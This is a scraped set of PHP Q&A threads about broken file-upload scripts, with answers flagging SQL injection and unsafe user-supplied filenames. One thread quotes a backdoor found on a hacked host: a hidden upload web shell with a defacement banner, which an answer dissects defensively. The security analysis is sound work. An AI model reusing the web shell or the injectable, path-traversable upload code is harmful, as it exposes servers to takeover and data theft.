So im here trying to learn more php and... trying to add an image that a user would upload(an avatar) to the server via move_uploaded_file...oh and im on WAMP right now fyi.
the book im reading ...long story short, the example shown doesnt work. Ive Googled around and literally copy pasted a few relavant examples ive found and still....well to be clear, be it that i wrote it or from the net, i can upload the image name (along with other values) to tables on the db i have set up but the image itself doesn't move to the directory I've set up for it.
I've stripped all my apps code to a simple table and simple php to make sure nothing was conflicting etc, and still nada.
here is my html:
<form method="post" action="testUpload.php" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="32768" >
<table summary="guitarwars lesson" width="500">
<tr>
<td>load picture:</td>
<td><input type="file" name="screenshot" id="screenshot" ></td>
</tr>
<tr>
<td><input type="submit" name="submit" action="submit"></td>
</tr>
</table>
</form>
here is my php:
<?php
$screenshot = $_FILES['screenshot']['name'];
//$destination = "images/user_avatars/$screenshot";
$insertValues = "INSERT INTO testdb(screenshot) VALUES ('$screenshot')";
//---declare connection.
$connect2db = mysqli_connect('127.0.0.1','root','pass','dbname');
if(!$connect2db){
die("Sorry but theres a connection to database error" . mysqli_error);
} else {
//pg intro mssg
echo ' <span style="font-size:25px; color:green;"> --- Link Established with Database ---.<span/><br/><br/>';
}
// put into db.
if(!empty($screenshot)) {
$insertData = mysqli_query($connect2db, $insertValues);
echo 'data submitted. thank you';
move_uploaded_file ($_FILES['screenshot']['tmp_name'],"images/user_avatars/{$screenshot}");
echo 'IMAGE UPLOAD COMPLETE';
}
mysqli_close($connect2db);
?>
now i dont get an error...i actually get the echo "image upload complete" part...
and like i said, with the app code, i get multiple values AND the image name going through and being saved onto the db, but the image itself being moved from temp to my location is a no go.
any tips links, etc i gladly appreciate.
Thank you in advance.
If that's code from your book, then throw the book out and burn it as fast as you can.
a) You're wide open to SQL injection attacks. Any decent PHP tutorial that shows how to deal with databases should START with sql injection attack mitigation strategies.
b) Your connection-failed error uses mysqli_error, which is an undefined constant. You probably want mysqli_error(), which is a function call
c) The code assumes the upload completed successfully. Uploads can/will fail at the drop of a hat, so NOT checking for errors is the fast road to hair-pulling. At minimum the script should have something like
if ($_FILES['screenshot']['error'] !== UPLOAD_ERR_OK) {
die("Upload failed with error code " . $_FILES['screenshot']['error']);
}
Those error codes are defined here.
d) Your code is using the user-supplied filename to store the file onto the sever. Nothing says that a malicious user can't hack the filename to include path information, so your code is actually allowing that nasty user to scribble on ANY file on your server which the webserver process has write access to. This is BAD
e) Your code also assumes the file move succeeded, without checking for errors. It should have at mininum
$status = move_uploaded_file(...);
if (!$status) {
die("Move failed!");
}
or something similar.
f) Your code assumes that all the database queries succeeded. Even if your query string is 100% perfectly formed (yours aren't, see (a) above), queries can fail for any number of other reasons. At bare mininum you should have:
$result = mysql_query(...) or die(mysqli_error());
As a start you could add
if(!move_uploaded_file(...))
die('error');
if you replace
move_uploaded_file ($_FILES['screenshot']['tmp_name'],"images/user_avatars/{$screenshot}");
echo 'IMAGE UPLOAD COMPLETE';
with
if (move_uploaded_file ($_FILES['screenshot']['tmp_name'],"images/user_avatars/{$screenshot}")) {
echo 'IMAGE UPLOAD COMPLETE';
}
you would then get the echo if it was successful
Try to supply the absolute path:
move_uploaded_file ($_FILES['screenshot']['tmp_name'],"/path/to/images/user_avatars/{$screenshot}");
Related
I just found some php file on my hosting, with a 0.01% knowledge in php, can someone please explain me what this code do?
<?php if(isset($_GET["ourzr"])){
echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]";
echo"<form method=post enctype=multipart/form-data>";
echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";
if($_POST["v"]==up){if(#copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){
echo"<b>berhasil</b>-->".$_FILES["f"]["name"];
}else{
echo"<b>gagal";}
}
}?>
<title>Hacked by d3b~X</title>
<center>
<div id=q>Gantengers Crew<br><font size=2>SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php
<style>
body{overflow:hidden;background-color:black}
#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}
Code Breakdown:
if the variable in the query string has a value (ie. index.php?ourzr=set)
<?php
if(isset($_GET["ourzr"])){
Then display information about your servers operating system using the function php_uname() They use this information to target the next round of hacks to your system specifics.
echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]";
Create an html form that allows more hack files to be uploaded
echo"<form method=post enctype=multipart/form-data>";
echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";
If a file has been uploaded, copy the files from the temp folder to a normal folder without the temp name but the original name
if($_POST["v"]==up){
if(#copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){
echo"<b>sucess</b>-->".$_FILES["f"]["name"];
}else{
echo"<b>failed</b>";
}
}
}
?>
This part just is a little mesage saying "I'm a kool script kiddie from the gangsters crew"
<title>Hacked by d3b~X</title>
<center>
<div id=q>Gantengers Crew<br><font size=2>SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php
<style>body{overflow:hidden;background-color:black}#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}
Conclusion:
DELETE THIS FILE ASAP
This script was somehow uploaded to your server through some vulnerability that likely still exists (Unless the hacker was nice enough to fix it for you).
They found away to get this one file on your server somewhere they can access it, now they want to use it to continue to upload scripts and other malicious data. Delete this file, and look in to securing anywhere your site uploads files of any kind.
Next Steps:
Read about how hackers use file uploads to upload scripts like these, and other things they can do with their own upload form:
https://www.acunetix.com/websitesecurity/upload-forms-threat/
Read up on how to create a secure upload script: There are many other tutorials
Read more about security, and try to learn a little php. Let me know if you have any more specific questions
Hunt down this guy I guess: https://twitter.com/d3b_x
I'm quite new to PHP and trying to upload an image to the server and then write it to the database using a form and php using the code and form below but it doesnt seem to be working for, if I take all of the photo content out the form works perfectly well with the other variables and content such as writing the out the article title and content, would anyone be able to tell me where I'm going wrong at all? thanks in advance guys.
<?php
session_start();
include_once('../php/connection.php');
if (isset($_SESSION['logged_in'])) {
if (isset($_POST['title'], $_POST['content'], $_FILES['photo1'])) {
$title = $_POST['title'];
$content = nl2br($_POST ['content']);
$photo1=($_FILES['photo1']);
$target = "../lifestlye";
$target = $target . basename( $_FILES['photo1']);
$query =$pdo->prepare('INSERT INTO article (article_title, article_content, photo_1) VALUES (?,?,?)');
$query->bindValue(1, $title);
$query->bindValue(2, $content);
$query->bindValue(3, $photo1);
$query->execute();
move_uploaded_file($_FILES['photo1'], $target);
{
}
header('Location: index.php');
}
?>
<form action="add.php" method="post" autocomplete="off"/>
<dl class="field four columns centered">
<dd><label for="title">Article Title</label></dd>
<dt class="text"><input type="text" name="title" id="title"/>
</dt>
</dl>
<dl class="field nine columns centered">
<dd><label for="content">Content</label></dd>
<dt class="textarea">
<textarea name="content" id="message"></textarea></dt>
</dl>
<p class="blacktext">Photo</p>
<input type="file" name="photo1">
<input type="submit" id="add article"/>
</form>
Try this code:
<?php
session_start();
include_once('../php/connection.php');
if (isset($_SESSION['logged_in'])) {
if (isset($_POST['title'], $_POST['content'], $_FILES['photo1'])) {
$title = $_POST['title'];
$content = nl2br($_POST['content']);
$name = $_FILES['photo1']['name'];
$tmp_name = $_FILES['photo1']['tmp_name'];
$target = '../lifestlye/'.$name;
if (move_uploaded_file($tmp_name,$target)) {
$stmt = $pdo->prepare('INSERT INTO article (article_title, article_content, photo_1) VALUES (?,?,?)');
$stmt->execute(array($title,$content,$name));
header('Location: index.php');
exit();
}
}
}
You are making it way too simple. You need to read the manual page: http://www.php.net/manual/en/features.file-upload.post-method.php
First, add this to your form as parameter: enctype="multipart/form-data"
Then, understand that $_FILES['photo1'] will be an array, and $_FILES['photo1']['tmp_name'] will contain a temporary filename, which is the uploaded file. You can then move the file to a new location, or read it and put it into the database as a BLOB (but why do you want to keep binary data in a database?)
You should use absolute paths for moving the file. If you want to do something in the current dir, use __DIR__ or dirname(__FILE__) depending on your php version. The first one is to preferred if it's available.
You should do error checking - read up on $_FILES array on php.net manual for what to look out for.
Check the return value of move_uploaded_file, errors, notices - there might also be a problem with writing permissions (the target directory/file has to be writable by the webserver)
You should consider generating a filename, otherwise if 2 ppl upload a file with the same name, the second one will override the first one. Then starts the fun about race conditions and the impossibility of php itself to do an atomic lock (using mysql get lock is the best I've come up so far, as semaphores and file locking suck in a web context with php)
You should add some security checking, e.g. str_replace("\0", "", $filename) for avoding nul poisoning (and depending on your system and filesystem there are probably other things you should filter/check)
This is just a tip, but really: Don't do anything with user input, especially file upload, in the open (e.g. publicly available web address) if you haven't got enough experience in regards to php/security. Otherwise you will see your server crashed, taken over, ... in a very short time. PHP is already very insecure as it is, adding in mysql and file upload doesn't really make it better. There is no guarantuee that the filename you get from $_FILES is safe - an attacker could send ANY filename (i can easily do with a few lines of script myself, and I'm not a real hacker).
Also, basename does not filter filenames, it just gives you whatever is before the last '.'.
Edit: + everything Palantir wrote, to make it work (sorry, there were so many things on this that I skipped some)
I'm working on a small, user-maintained online store, and am trying to allow my end user (the store administrator) to upload graphics for products. When I run this script, however, it doesn't actually store the image. I built this script from various tips here and a tutorial, and have gotten everything but the image upload portion to work.
// Set the image target directory here
$target = "itemImages/";
$target = $target . basename($_FILES["image"]["name"]);
// Variables get POSTed here - just tack new ones on at the end.
// Various POSTs omitted for brevity
$pic=($_FILES["image"]["name"]);
// Places the picture in the folder
if(move_uploaded_file($_FILES["image"]['tmp_name'], "itemImages/"))
{
echo "The file " . basename($_FILES['uploadedfile']["name"]) . " has been uploaded.<br />";
}else {
echo "There was an issue adding this item. Please try again.<br />";
}
// Writes variables to the database
mysql_query("INSERT INTO tbl_item (itemNAME,itemDESC,itemCOST,itemHCOL,itemHSIZ,itemIMG)
VALUES ('$itemName','$itemDesc','$itemCost','$hasColor','$hasSize','$pic')");
mysql_close($con);
?>
Any help, tips, advice, insight, etc. would be very much appreciated.
move_uploaded_files requires a filename as its target. It does not blindly move to a directory, so
move_uploaded_files($_FILES..., 'somedir/somefile.txt');
works, but
move_uploaded_file($_FILES..., 'somedir/');
will not.
Plus, note that your database operation is vulnerable to SQL injection attacks. You're blindly inserting the uploaded file's remote name (['name'] via $pic), and that name is fully under the remote user's control.
Make sure the itemImages folder has write permission by the user your web server (e.g. Apache) is running as (e.g. www-data)
make sure the .php file and the folder you are writing to have the same "owner". Or try setting permissions on the itemImages folder to 777 (This is not recommended, just a debug tactic)
I have a form with the possibility to upload an image from the computer to a server, but it won't work. I don't get any error message, so that's quite annoying. (First I got permission denied, but that was solved by changing the rights), but now when I submit the form, everything goes normally, but the file isn't copied to the destination folder. (The folder exists: I tried it with file_exist()...)
Here's part of the code:
<form action='/changingfruit/index.php?item=bad' name='form' method='post' enctype='multipart/form-data'>
<tr>
<td><input type='text' name='titel_nl' value="titel nl" /><br/><input type='text' name='titel_fr' value="titel fr"/></td>
<td><input type='file' name='text_nl' id='text_nl' accept="image/*"/><br/><input type='file' name='text_fr' id="test_fr" accept="image/*"/></td>
<td class="vTop"><input type="submit" value="Bewaar"/></td>
</tr>
</form>
Part where the values are being send to the db:
$str_titel_nl = $_POST["titel_nl"];
$str_titel_fr = $_POST["titel_fr"];
$str_text_nl = $_FILES["text_nl"]["name"];
$str_text_fr = $_FILES["text_fr"]["name"];
if(!empty($_FILES["text_nl"]["name"])){
$tmp = $_FILES['text_nl']['tmp_name'] ;
$foto = $_FILES['text_nl']['name'] ;
$copied = copy($tmp, $images_nl.$foto);
unlink($tmp);
}
(of course the above is just a part of the code: but it's this part that wont work:
if(!empty($_FILES["text_nl"]["name"])){
$tmp = $_FILES['text_nl']['tmp_name'] ;
$foto = $_FILES['text_nl']['name'] ;
$copied = copy($tmp, $images_nl.$foto);
unlink($tmp);
}
The code below this part also works fine, so no error, but also no image.
Does someone knows where the problem could be?
Thanks so much in advance!
FOUND THE ANSWER
So it was indeed a permission problem. Everything was 777, but the last folder where the image was put had 755. (/fruits/img/2012/thumb/) the thumb was 755.I just overlooked it. Thanks everyone for the help!
Your upload code is very messy. Instead of using copy you should be using move_uploaded_file, and also validate that it actually worked and then perform whatever actions needed.
I'm also not sure why each of your line is starts with <?php and ends with ?> ?
You can write it all as one block instead, and i think it would also make more sense and would make your code cleaner for sure.
Last thing i would recommend is reading "Handling File Uploads" from the PHP Manual. It might shed some light on the problems you're having.
P.S. Try adding on top ini_set("display_errors","On"); error_reporting(E_ALL); and see if you're getting any error messages.
please have a look on below link.
PHP upload file to web server from form. error message
http://patelmilap.wordpress.com/2012/01/30/php-file-upload/
you can try this
$flag = #copy($temp, $move);
if ( $flag === true )
{
print "Uploaded";
}
I have posted a simple solution for file uploading without worrying about the implementation .
Click to see the thread
image uploading issue in codeigniter 2.1.0
Please read this section
in that $uploader->getMessage(); will return error string related to the upload failure . So you can understand why the uploading failed .
Thanks
I'm trying to create a script where a user can upload a csv file into a table. I got the tutorial from shotdev.com, I'm getting the following errors, what am I doing wrong?
**The following command is not allowed: copy
The following command is not allowed: fopen**
Page1.php
<form action="page2.php" method="post" enctype="multipart/form-data" name="form1">
<input name="fileCSV" type="file" id="fileCSV">
<input name="btnSubmit" type="submit" id="btnSubmit" value="Submit">
</form>
Page2.php
<?
copy($_FILES["fileCSV"]["tmp_name"],"shotdev/".$_FILES["fileCSV"]["name"]); // Copy/Upload CSV
include 'datalogin.php';
$objCSV = fopen("shotdev/".$_FILES["fileCSV"]["name"], "r");
while (($objArr = fgetcsv($objCSV, 1000, ",")) !== FALSE) {
$strSQL = "INSERT INTO customer ";
$strSQL .="(CustomerID,Name,Email,CountryCode,Budget,Used) ";
$strSQL .="VALUES ";
$strSQL .="('".$objArr[0]."','".$objArr[1]."','".$objArr[2]."' ";
$strSQL .=",'".$objArr[3]."','".$objArr[4]."','".$objArr[5]."') ";
$objQuery = mysql_query($strSQL);
}
fclose($objCSV);
echo "Import completed.";
?>
It looks like you're running PHP in safe mode or with certain functions disabled. For security reasons web hosts often disable file commands.
You could discuss your requirements with your web host - some are flexible enough to enable the functions for you if you ask nicely.
Otherwise you'll have to achieve it without using the disabled file commands. One way would be to create a textarea in an HTML form in which you paste the CSV. SUbmit it to your PHP script which then runs the MySQL import.
Hope that helps
This seems to be a limitation imposed by the hosting provider (they seem to have put fopen() and copy() on the list of disabled functions, which is rather silly), in which case you probably can't do anything about it except ask the provider to relax the restriction.
Generally though, you're not handling the uploaded files properly using move_uploaded_file(). Use it as shown in the example in the manual link.